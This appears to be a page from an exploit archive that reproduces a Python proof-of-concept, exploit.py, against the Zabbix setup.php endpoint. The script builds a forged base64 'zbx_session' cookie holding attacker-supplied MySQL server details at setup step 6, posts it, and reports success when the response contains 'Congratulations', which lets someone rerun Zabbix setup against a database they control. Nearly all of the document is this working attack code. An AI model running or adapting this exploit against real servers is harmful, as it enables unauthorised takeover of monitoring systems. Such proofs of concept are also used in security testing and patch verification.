4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import random
import base64
import argparse

def make_cookie(db_ip, db_port, password, db_user):
    # BRIEF: create request
    # PARAM: db_ip - target SQL server
    # PARAM: db_port - target SQL port
    # PARAM: password - target SQL server password
    # PARAM: db_user - target SQL server user
    zbx_session = {
        "step": "6",
        "default_timezone": "system",
        "DB_TYPE": "MYSQL",
        "DB_SERVER": db_ip,
        "DB_PORT": db_port,
        "DB_DATABASE":"zabbix",
        "DB_USER": db_user,
        "DB_PASSWORD": password
    }
    # Replace single-quotes with double-quotes
    # Probably not needed except for my sanity ;)
    zbx_session = str(zbx_session).replace("'", '"')

    # Expects a base64 encoded string as output into the cookie
    return base64.urlsafe_b64encode(zbx_session.encode())

def make_data():
    # BRIEF: get random sid and make the data with it
    # This is not all that important, as long as it exists in the request
    sid = hex(random.getrandbits(64))[2:].zfill(16)
    data = {
        "sid": sid,
        "form_refresh":"1",
        "next[5]":"Next step"
    }

    return data

def main():
    # Argument parse fun
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", required=True, help="Full path of the vulnerable endpoint (ex.: http://127.0.0.1/zabbix/setup.php)")
    p.add_argument("-p", "--password", required=True, help="Password for MySQL user")
    p.add_argument("-di", "--db_ip", required=True, help="IP for MySQL database to connect to")
    p.add_argument("-dp", "--db_port", help="Port (if not 3306) to use for MySQL")
    p.add_argument("-du", "--db_user", required=True, help="Username for MySQL user")
    p.add_argument("--debug", action="store_true", help="Prints out response text to exploit.html")

    arguments = p.parse_args()

    # Check for a user specified port, if not, just use 3306
    port = 3306
    if arguments.db_port:
        port = arguments.db_port
        print("[!] Port specified: ", port)

    # Create the cookie (has the DB info in it)
    zbx_session = make_cookie(arguments.db_ip, port, arguments.password, arguments.db_user)

    if zbx_session == "":
        print("[X] Failed to craft cookie")
        return 1
    
    # Create data for the request
    data = make_data()

    # Cookies must be held inside a dict, like so:
    cookies = {
        "zbx_session": zbx_session.decode('utf-8')
    }

    # Send it!
    response = requests.post(arguments.url, data=data, cookies=cookies)
    status = 1
    
    # Program might return 200 with an error, so check text of output
    if "Congratulations" in response.text:
        print("[!] Hooray! Exploit completed successfully!")
        status = 0
    else:
        print("[X] Exploit was not successful\nStatus: ", response.status_code)

    # If user wants debug output, write it
    if arguments.debug:
        handle = open("./exploit.html", "w+")
        handle.write(response.text)
        handle.close()

    return status


if __name__ == "__main__":
    main()